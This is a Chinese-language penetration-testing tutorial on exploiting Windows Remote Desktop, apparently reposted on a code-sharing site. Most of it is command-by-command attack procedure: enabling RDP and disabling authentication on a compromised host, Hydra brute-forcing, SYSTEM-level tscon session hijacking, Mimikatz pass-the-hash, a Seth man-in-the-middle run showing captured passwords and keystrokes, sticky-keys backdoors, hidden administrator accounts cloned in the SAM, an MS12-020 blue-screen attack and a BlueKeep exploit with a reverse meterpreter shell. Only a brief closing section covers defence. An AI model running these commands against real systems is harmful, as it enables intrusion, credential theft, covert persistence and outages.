內網滲透測試:初探遠程桌面的安全問題


前言

遠程桌面對了解內網滲透的人來說可能再熟悉不過了。在滲透測試中,拿下一台主機后有時候會選擇開 3389 進遠程桌面查看一下對方主機內有無一些有價值的東西可以利用。但是遠程桌面的利用不僅如此,本節我們便來初步匯總一下遠程桌面在內網滲透中的各種利用姿勢。

RDP 協議

RDP,Remote Desktop Protocol,遠程桌面協議,該協議是對國際電信聯盟發布的一個國際標准的多通道會議協議T.120 的一個擴展。遠程桌面協議讓用戶(客戶端或稱“本地電腦”)連上提供微軟終端機服務的電腦(服務器端或稱“遠程電腦”)。大部分的 Windows、Linux、FreeBSD、Mac OS X 都有相應的客戶端。遠程桌面協議在服務端默認監聽 TCP 3389 端口的數據。遠程桌面協議為用戶提供了通過網絡連接遠程登錄到另一台計算機的圖形界面。

RDP 服務的確定和啟動

RDP 服務的確定

注冊表查詢

通過以下命令查詢注冊表來查看 RDP 服務是否開啟:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服務是否開啟: 1關閉, 0開啟 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服務的端口

 

 

進程查看

通過以下命令來查看是否有 RDP 服務的進程:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服務是否開啟: 1關閉, 0開啟 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服務的端口

 

 

端口掃描

攻擊者可以借助 Nmap 掃描來驗證端口 3389 是否被打開:

nmap -sV -sC -p 3389 192.168.93.30

 

 

RDP 服務的啟動

如果發現 3389 並沒有開啟,我們使用以下方式開啟它。

修改注冊表啟動

先通過修改注冊表來設置一下允許遠程桌面連接:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后可以再配置一下防火牆,設置為允許遠程桌面連接,命令:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

通過 Metasploit 模塊啟動

拿到目標主機的 meterpreter 后,如果我們想登陸目標主機的遠程桌面,我們可以使用 post/windows/manage/enable_rdp 模塊對目標主機快速完成上述配置:

use post/windows/manage/enable_rdpset session 1exploit

 

 

RDP 服務的連接

開啟目標主機的遠程桌面后,我們便可以對目標主機進行連接了:

Linux 系統上的可以使用 rdesktop:

redesktop 192.168.93.30# redesktop IP

Windows系統上可以使用 mstsc.exe

特別要注意一下,有時候,僅開啟了遠程桌面還不行,在連接時可能出現以下報錯:

 

 

這就需要關閉鑒權模式,我們采用如下命令,這里0代表關閉,1代表開啟:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

即取消 “僅允許運行使用網絡界別身份驗證的遠程桌面的計算機連接” 這一安全設置。

此時就可以正常連接了:

 

 

 

 

對 RDP 口令進行暴力破解

在實戰中,攻擊者可以借助 Nmap 來掃描目標主機 3389 端口是否開啟,如果目標主機開啟了 3389 端口,那我們便可以對目標主機的遠程桌面登錄口令進行暴力猜解。

下面我們通過 Hydra 工具來展示對 RDP 進行爆破:

Hydra -v -f -l whoamianony\administrator -P /root/wordlists.txt rdp://192.168.93.30

 

 

如上圖所示,成功獲取到目標主機 administrator 的登錄口令,使用此憑據攻擊者可以登錄遠程桌面服務:

 

 

RDP 劫持實現未授權登錄

對於開啟遠程桌面服務的 Windows 系統,當有多個用戶登錄該系統時,會產生多個會話,如下圖:

其中,管理員用戶 Administrator 為本地登錄,用戶 bunny 為通過遠程桌面服務(RDP)連接 3389 端口的遠程桌面登錄。接下來,如果用戶 Administrator 想要切換至用戶 bunny 的遠程桌面,可通過右鍵—> 連接(Connect)進行連接,接着輸入密碼即可切換到 bunny 用戶:

 

 

點擊確定后,如下圖所示,成功切換到了 bunny 用戶的遠程桌面:

而且,在 Windows 中有一個 tscon 命令,是命令行下使用的工具,也可以實現與上述相同的功能。

首先執行如下命令獲取用戶對應的會話 ID:

query user

可以看到用戶 bunny 對應的會話 ID 為 2,然后通過執行 tscon 命令即可成功切換至用戶 bunny 的遠程桌面,命令如下:

tscon 2 /PASSWORD:Bunny2021

/PASSWORD:bunny 用戶的密碼

可見,tscon 命令提供了一個切換用戶會話的功能,並且,在正常情況下,切換會話時需要提供目標用戶的登錄密碼。但這並不能完全確保會話安全,攻擊者通過特殊的利用方法完全能夠繞過驗證,不輸入密碼即可切換到目標會話,從而實現目標用戶的未授權登錄。

而這里所講的特殊的利用方法便是在 SYSTEM 權限下直接執行 tscon 會話切換命令:

tscon ID

此時攻擊者可以在不提供其他用戶登錄憑據的情況下自由切換會話桌面,實現劫持其他用戶的 RDP 會話。

RDP 會話劫持在特定情況下可以大顯身手,比如對於較新的 Windows 系統,默認情況下是無法通過 Mimikatz 導出用戶明文口令的,此時我們通過常規方法無法切換至另一用戶的桌面,那么我們便可以借助上文提到的方法,先提權至 SYSTEM 權限,再劫持目標用戶的 RDP 並切換過去。

特別注意的是,即使遠程連接的用戶關閉了遠程連接窗口,也不會劫持該回話,只是在后台顯示 “已斷開連接”(Disconnected):

圖片

此時,仍能在 SYSTEM 權限下通過tscon實現未授權連接。

高權限用戶劫持低權限用戶的 RDP

高權限用戶劫持低權限用戶的 RDP 會話利用起來比較簡單,由於具有管理員權限,可以直接通過創建服務等方式獲取 SYSTEM 權限。

創建劫持用戶會話的服務:

sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"sc start rdp

執行sc start rdp后,我們創建的劫持會話的服務將會啟動,由於 Windows 是以 SYSTEM 權限運行服務的,所以我們tscon 2命令也會以 SYSTEM 權限運行,此時便可以在不提供目標用戶密碼的情況下成功劫持目標用戶的會話:

其實也可以使用 Psexec 來獲得一個 SYSTEM 權限的 cmd(Psexec 獲得的 shell 是 SYSTEM 權限的),然后再這個 SYSTEM 權限的 cmd 中直接執行tscon 2劫持命令:

psexec -s -i cmd    # 獲得一個 SYSTEM 權限的 cmdquser user    # 在新獲得的 SYSTEM 權限的 cmd 中執行劫持命令tscon 2 /dest:console

低權限用戶劫持高權限用戶的 RDP

低權限用戶劫持高權限用戶的 RDP 會話利用起來沒有前者那么簡單,因為權限太低,所以無法執行創建服務,執行 Psexec 等高權限的命令。所以如果低權限用戶想要劫持高權限用戶的 RDP 的話需要想辦法提權,即將自己的權限提升至 SYSTEM。

實驗環境如下:

假設有這么一種情況,有一台 Windows Server 2012 系統的服務器,其本地登錄着一個普通域用戶 bunny:

我們通過某種方式獲得了這個 bunny 用戶的登錄密碼,並使用這個 bunny 用戶成功進行遠程登錄:

此時,登錄后查看任務管理器發現后台還存在管理員用戶 Administrator 的會話:

圖片

並且使用query user命令查看其會話 ID 為 1。接下來我們嘗試劫持這個管理員用戶的遠程會話。

首先使目標主機上線一個 bunny 用戶權限的 MSF,然后通過各種系統漏洞獲得了目標機的 System 權限:

圖片

然后進入 shell 中執行 tscon 命令進行劫持即可:

圖片

如上圖所示,成功劫持並切換到了 Administrator 用戶的遠程桌面。

利用哈希傳遞登錄 RDP 遠程桌面

Windows Server 2012 R2 采用了新版的 RDP 遠程桌面協議,在這個新版協議中有一個 ”受限管理員” (Restricted Admin)的特性。相信滲透測試人員和系統管理員都會對這個特性有足夠的興趣,因為通過這個特性,我們可以實現哈希傳遞攻擊並成功登錄遠程桌面。

在抓取到的 Hash 無法破解的情況下,如果目標主機開啟了 “Restricted Admin Mode” 也行,那么我們便可以使用 Hash 來直接實現 RDP 遠程登錄。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默認開啟。

我們在滲透過程中可以通過修改注冊表的方式開啟目標主機的 Restricted Admin Mode,值為 0 代表開啟,值為 1 代表關閉:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /fREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"    # 查看是否成功開啟

如上圖所示,成功在目標主機開啟了 Restricted Admin Mode。

然后再攻擊機上使用 Mimikatz 進行哈希傳遞,大致原理就是哈希傳遞成功后執行mstsc.exe /restrictedadmin來打開:

privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

 

 

報錯了,說 CredSSP 加密數據庫錯誤,大概是因為 Windows 10 家庭版的原因吧。然后俺有換了另一個版本的 Windows 成功了:

 

 

注意,這里的受限管理員模式顧名思義只對管理員組有效。所以如果你獲取到的用戶屬於遠程桌面用戶組,那么是無法通過 Hash 登錄的。

RDP 遠程桌面中間人攻擊

中間人攻擊通常會導致憑據捕獲。同樣的,在對 RDP 會話進行中間人攻擊,攻擊者可以獲得一個登錄用戶的明文密碼,用於后期的橫向移動。當 RDP 爆破走不通時,我們不妨嘗試一下中間人。

Seth是一個用 Python 和 Bash 編寫的 RDP 中間人攻擊自動化工具,通過嘗試降級連接用以提取明文憑證來實現 MitM RDP 連接,而不管網絡級別的身份驗證(NLA)是否啟用。

項目地址:https://github.com/SySS-Research/Seth

使用該工具所要求的環境:

Python 3

Tcpdump

Arpspoof

Openssl

運行界面如下:

圖片

使用方法如下:

./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]

INTERFACE:網卡

ATTACKER IP:中間人 IP

VICTIM IP:連接者 IP

GATEWAY IP|HOST IP:被連接的遠程主機 IP

COMMAND:啟動時執行的命令

執行以下命令啟動 seth 監聽:

./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30

圖片

然后當 PC 上的用戶遠程登錄 DC 時便會抓取到登錄用戶的明文密碼。不僅如此,還可以對用戶鍵盤的操作進行記錄,甚至使用<COMMAND>在目標主機上執行命令。

詳情請看:https://www.freebuf.com/sectool/178146.html

攻擊成功后類似如下:

# ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] SpoofinG arp replies...
[*] TurninG on IP forwardinG...
[*] Set iptables rules for SYN packets...
[*] WaitinG for a SYN packet to the oriGinal destination...
[+] Got it! OriGinal destination is 192.168.93.30
[*] Clone the x509 certificate of the oriGinal destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
ListeninG for new connection
Connection received from 192.168.93.20:50431
DownGradinG authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, DownGradinG CredSSP
Connection lost
Connection received from 192.168.57.103:50409
ListeninG for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
ListeninG for new connection
Enable SSL
HidinG forGed protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (EnGlish_United_States)
Key press:   LShift
Key press:   S
Key release:                 S
Key release:                 LShift
Key press:   E
Key release:                 E
Key press:   C
Key release:                 C
Key press:   R
Key release:                 R
Key press:   E
Key release:                 E
Key press:   T
Key release:                 T
Connection lost
[*] CleaninG up...
[*] Done.

 

獲取 RDP 遠程桌面連接記錄

在滲透測試中,遠程桌面連接的歷史記錄不可忽視,根據歷史記錄往往能定位出關鍵的服務器。接下來我們就介紹一下如何導出 RDP 連接的歷史記錄。

獲取 RDP 遠程桌面連接記錄可以通過枚舉注冊表完成,但是如果想要獲得所有用戶的歷史記錄,需要逐個獲得用戶的 NTUSER.DAT 文件,通過注冊表加載配置單元,導入用戶配置信息,再進行枚舉才能夠實現。

導出當前用戶的歷史記錄

可以通過枚舉下面的注冊表鍵值查看當前用戶的歷史記錄:

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers

如下圖所示,每個注冊表項保存連接的服務器地址,其中的鍵值UsernameHint對應登錄用戶名:

看也可以通過 PowerShell 命令行來實現,首先通過以下命令枚舉指定注冊表項下所有的的子項,即當前用戶所連接過的所有的主機名:

dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

然后使用以下命令查詢指定注冊表項的注冊表鍵值,即查看連接所使用的用戶名:

(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint

圖片

下面給出一個三好學生寫的枚舉腳本:

$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{   
    Try  
    {  
        $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
            Write-Host "Server:"$Name
            Write-Host "User:"$User"`n"
        }
        Catch  
        {
        Write-Host "No RDP Connections History"
        }
}

 

導出已登錄用戶的歷史記錄

已登錄用戶的注冊表信息會同步保存在HKEY_USERS\<SID>目錄下,<SID>要對應每個用戶的 SID:

可以看到,當前系統登錄三個用戶,分別有三個子項。我們可以通過枚舉注冊表鍵值

HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers

就能夠獲得已登錄用戶的遠程桌面連接歷史記錄:

也就是說,如果當前主機登錄了兩個用戶,那么這兩個用戶的注冊表信息都會保存在HKEY_USERS\<SID>下。但如果第三個用戶未登錄,此時是無法直接獲得該用戶的注冊表信息的,會報如下錯誤:

也就無法直接導出該用戶的遠程桌面連接歷史記錄。

最后給出一個三好學生寫的枚舉腳本:

$AllUser = Get-WmiObject -Class Win32_UserAccountforeach($User in $AllUser){$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"Write-Host "User:"$User.NameWrite-Host "SID:"$User.SIDWrite-Host "Status:"$User.StatusTry  { $QueryPath = dir $RegPath -Name -ErrorAction Stop}Catch{Write-Host "No RDP Connections History"Write-Host "----------------------------------"continue}foreach($Name in $QueryPath){   Try  {  $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHintWrite-Host "Server:"$NameWrite-Host "User:"$User}Catch  {Write-Host "No RDP Connections History"}}Write-Host "----------------------------------" }

 

導出所有用戶的歷史記錄

前面剛說了,對於未登錄用戶,無法直接獲得注冊表配置信息,那有什么解決辦法?其實這里可以通過加載配置單元的方式來解決,即打開用戶的 NTUSER.DAT 文件,加載配置單元導入用戶配置信息,然后進行枚舉。

選中 HKEY_USERS 項,“文件” —> “加載配置單元”,如下圖:

選擇打開用戶的 NTUSER.DAT 文件,路徑為C:\Documents and Settings\用戶名\NTUSER.DAT,這里以當前未登錄的 moretz 用戶為例:

接着指定一個項名稱,即可在 HKEY_USERS 下讀取該用戶的注冊表配置信息,如下圖所示:

然后按照之前的路徑進行枚舉即可。

此外,也可以通過命令行實現加載配置單元的實例:

Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT

最后給出一個三好學生寫的枚舉腳本:

https://github.com/3gstudent/List-RDP-Connections-History

 

與遠程桌面相關的權限維持方法

Windows 粘滯鍵與輔助功能后門

估計你在我之前的文章中已經看到過 Shift 粘滯鍵后門的相關介紹。如果你在電腦上連按五次 shift 鍵,你就會發現電腦屏幕上彈出了一個叫做“粘滯鍵”的程序:

圖片

即使在沒有登錄進系統之前,連按五次shift鍵也可以彈出這個程序:

圖片

思考一下,如果我們知道了這個程序的絕對路徑,那么我們就可以將 cmd.exe 偽裝成這個粘滯鍵程序,當我們連按五次 shift 鍵時,便會彈出一個 CMD 命令行窗口,那么我們就可以無需登錄進系統便可以控制目標主機了。

粘滯鍵程序名稱為 “sethc.exe”,

其路徑為“c:\windows\system32\sethc.exe”。

利用粘滯鍵做后門是一種比較常見的持續控制方法。其基本流程如下:

首先,我們手動或利用工具,找到sethc.exe將其刪除或改名為sethc.exe.bak,接着將cmd.exe程序復制一個副本,並命名為“sethc.exe”。

最后,重啟計算機再次按下5次Shift鍵時,就會彈出CMD界面,后門制作成功。

制作的方法如下,在目標主機上執行如下命令即可:

cd c:\windows\system32  move sethc.exe sethc.exe.bak   // 將sethc.exe重命名copy cmd.exe sethc.exe       // 將一個cmd.exe副本保存偽裝成sethc.exe

此時,我們打開目標主機的遠程桌面,連續按下五次shift鍵,便可以看到目標主機屏幕上成功彈出了一個 CMD 窗口:

如上圖,該 cmd 是以 SYSTEM 權限運行的,接下來我們就可以無需知道登錄密碼,無需登錄,直接繞過登錄頁面對目標主機執行各種高權限的操作了,也完全可以新建一個高權限用戶直接登錄進入系統,是不是很有意思?

但是,先別高興地太早了,在一些做了防護的主機上,即使是SYSTEM權限也是無法修改 sethc.exe的,只有TrustedInstaller權限才可以,這時,我們就要先模擬一個TrustedInstaller權限的令牌獲取TrustedInstaller權限,然后再執行上述操作。我們的思路如下:

當我們啟動TrustedInstaller服務時

會啟動進程TrustedInstaller.exe,

該程序的權限為NT SERVICE\TrustedInstaller,那么我們就可以竊取該進程的令牌。

首先進入shell啟動TrustedInstaller服務:

sc.exe start TrustedInstaller       # 先進入shell啟動TrustedInstaller服務

然后執行如下即可:

use incognitops      # 找到TrustedInstaller的進程PID,這里為3476steal_token <PID>      # 從該進程中竊取令牌getuid

此時便可以對 sethc.exe 進行任何操作了。

由於此時獲得的 CMD 是 SYSTEM 權限的,所以我們這里可以直接配合 RDP 劫持進去目標系統。如下圖所示,發現目標主機上有三個用戶的會話,那我們便可以通過tscon進行隨意的劫持與切換:

圖片

執行tscon 1命令后,如下圖所示,成功劫持並切換到了 administrator 用戶的會話:

圖片

除了這里的粘滯鍵 sethc 外,在 Windows 登錄界面上還有很多輔助功能:

如上圖所示,可以看到有屏幕鍵盤,放大鏡,屏幕閱讀等,這些額外的輔助功能選項可以幫助殘疾人更容易地使用操作系統。這些輔助功能都可以像粘滯鍵 sethc 一樣被攻擊者用來制作一個后門。

Metasploit 中的post/windows/manage/sticky_keys模塊可實現自動化地利用沾滯鍵的權限維持技術。該模塊將用 cmd.exe 替換那些輔助功能的二進制文件(sethc、osk、disp、utilman):

使用方法如下:

use post/windows/manage/sticky_keysset session 6set target UTILMANexploit

如上圖所示,執行成功。

此時,我們開啟目標主機的遠程桌面,當我們點擊左下角的輔助功能按鈕后,成功彈出了 CMD 窗口,並且為 SYSTEM 權限的:

不僅是 CMD,我們還可以換成任意的 Payload 用於釣魚,當受害者使用響應功能時便會觸發 Payload 實施攻擊。

Windows 系統隱藏賬戶

該方法是通過建立隱藏賬戶,制作一個可以對目標主機進行遠程桌面等的的系統用戶,維持對目標 Windows 系統權限。制作方法跟步驟如下:

(1)在目標主機 cmd 中輸入以下命令,創建一個與這鞥長域用戶 whoami 類似反名為 whoami$ 的隱藏賬戶,並把該隱藏賬戶設置為管理員權限:

net user whoami$ Liu78963 /addnet localgroup administrators whoami$ /add

如上圖,我們已經創建成功,執行 net user 命令,發現是看不到 whoami$ 用戶的:

然后,為了能使剛創建的 whoami$ 用戶有權限登錄目標機的遠程桌面,我們還需要在計算機遠程中添加 admin$ 用戶:

圖片

此時便可以直接使用該隱藏用戶登錄 3389 遠程桌面進行操作了:

圖片

但是此時隱蔽性仍不足,因為在控制面板和計算機管理的本地用戶和組中,仍然是可以看的到該用戶的:

圖片

為了更好地隱藏我們的后門賬戶,我們還要開啟目標主機的遠程桌面進行如下操作。

打開注冊表編輯器,找到HKEY_LOCAL_MACHINE\SAM\SAM,單機右建,選擇 “權限”,把 Administrator 用戶的權限,設置成“完全控制”權限,然后關閉注冊表編輯器,再次打開即可。

這樣 SAM 下的文件就都能看見了。

然后,在注冊表編輯器的

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names處,

點擊Administrator用戶,在左側找到和在右邊顯示的鍵值的類型一項“0x1f4”相同的目錄名,也就是箭頭所指目錄 “000001F4”:

復制000001F4目錄中的 F 鍵的值:

然后找到與隱藏賬戶 whoami$ 右邊類型的鍵值 “0x3ea” 相同的目錄名,也就是 “000003EA”:

然后將000001F4的F值粘貼到000003EA的F值中,點擊確定:

然后從注冊表中右鍵導出子項000003EA和 whoami$ ,並使用net user whoami$ /del刪除 whoami$ 用戶:

圖片

此時,查看注冊表以及本地用戶和組或者控制面板,whoami$ 用戶就已經沒有了。

最后,再將剛才導出的兩個后綴為 .reg 的注冊表項導入注冊表中:

圖片

這樣我們的隱藏賬戶 whoami$ 就創建好了。現在,不管你是在命令提示符下輸入 net user 或者在系統用戶管理界面都是看不到 whoami$ 這個賬戶的,只有在注冊表中才能看得到。

與遠程桌面相關的漏洞

對 3389 端口的 DOS 攻擊

這一利用借助的是 2012 年爆出來的 MS12-020 遠程桌面協議 RDP 遠程代碼執行漏洞(CVE-2012-0002)。該漏洞是由於 Windows 在處理某些對象時存在錯誤,可通過特制的 RDP 報文訪問未初始化或已經刪除的對象,導致任意代碼執行,然后控制系統。下面我們使用 Windows 7 系統進行復現。

在 Metasploit 中有兩個該漏洞的利用模塊:

首先為了確定目標主機是否容易受到該漏洞的影響,可以先使用第二個命令來進行檢測:

use auxiliary/scanner/rdp/ms12_020_checkset rhosts 192.168.93.20set rport 3389exploit

目標機存在漏洞,然后嘗試使用第一個模塊進行攻擊,這將對目標系統發起 DOS 攻擊,最終導致目標系統藍屏:

use auxiliary/dos/windows/rdp/ms12_020_maxchannelidsset rhosts 192.168.93.20set rport 3389exploit

如下圖所示,“死亡藍屏” 出現啦:

從上圖中可以看到目標系統是由於某些問題導致系統正在關閉。DoS 攻擊執行者通常攻擊托管在諸如銀行或信用卡支付網關等高端 Web 服務器上的站點或服務,通過暫時或無限期地中斷連接 Internet 的主機服務,使其目標用戶無法使用機器或網絡資源。

CVE-2019-0708

2019 年 5 月 14 日微軟官方發布安全補丁,修復了 Windows 遠程桌面服務的遠程代碼執行漏洞(CVE-2019-0708),該高危漏洞利用方式是通過遠程桌面端口 3389,RDP 協議進行攻擊的。

此漏洞是預身份驗證且無需用戶交互,這就意味着這個漏洞可以通過網絡蠕蟲的方式被利用。利用此漏洞的任何惡意軟件都可能從被感染的計算機傳播到其他易受攻擊的計算機,其方式與 2017 年 WannaCry 惡意軟件的傳播方式類似。

它影響了某些舊版本的 Windows 系統,包括:

Windows 7 foR 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 foR 32-bit Systems Service Pack 2

Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows XP SP3 x86

Windows XP Professional x64 Edition SP2

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 x64 Edition SP2

Windows 8 和 Windows 10 及之后版本的用戶不受此漏洞的影響。

在 Metasploit 中已經有了該漏洞的利用模塊:

第一個模塊用來檢測目標機是否存在漏洞,第二個模塊用來進行攻擊。設置好參數直接利用即可:

use exploit/windows/rdp/cve_2019_0708_bluekeep_rceset payload windows/x64/meterpreter/reverse_tcpset rhosts 192.168.93.20set lhost 192.168.93.128set rdp_client_ip 192.168.93.20unset RDP_CLIENT_NAMset target 2    # 這里的 2 代表目標機為虛擬機環境exploit

如下圖所示,攻擊成功並得到了 meterpreter:

 

 

如何防御你的 RDP

添加安全策略以防止暴力破解

管理員可以使用帳戶鎖定策略保護其網絡免受暴力破解攻擊,具體有以下相關策略:

帳戶鎖定持續時間:用於定義鎖定帳戶保持時間段的策略,直到自動解鎖或由管理員重置。當用戶超過帳戶鎖定閾值設置的登錄嘗試時,它將鎖定帳戶指定的時間。

帳戶鎖定閾值:定義失敗登錄嘗試次數的策略,將在帳戶鎖定持續時間指定的某段時間內鎖定帳戶。它將允許最大數量指定嘗試登錄您的帳戶。

被鎖賬戶鎖定計數器:用於定義登錄嘗試失敗后必須經過的時間段的策略。重置時間必須小於或等於帳戶鎖定時間。

端口修改

可以在另一個端口上轉發端口 3389 以提高系統的安全性。我們可以導航到下面的注冊表子項進行修改:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

單擊 “編輯”>“修改” ,然后單擊“十進制”並鍵入新端口號,單擊“確定” 后重新啟動計算機即可生效。

也可以運行以下 PowerShell 命令來更改 RDP 端口,在此命令中,我們會將新的 RDP 端口指定為 3390:

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value 3390New-NetFirewallRule -DisplayName 'RDPPORTLatest' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3390

通過系統自帶防火牆保護 RDP

我們可以打開具有高級設置的防火牆的面板,設定遠程桌面的 TCP-In 相關配置從而添加安全過濾器。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM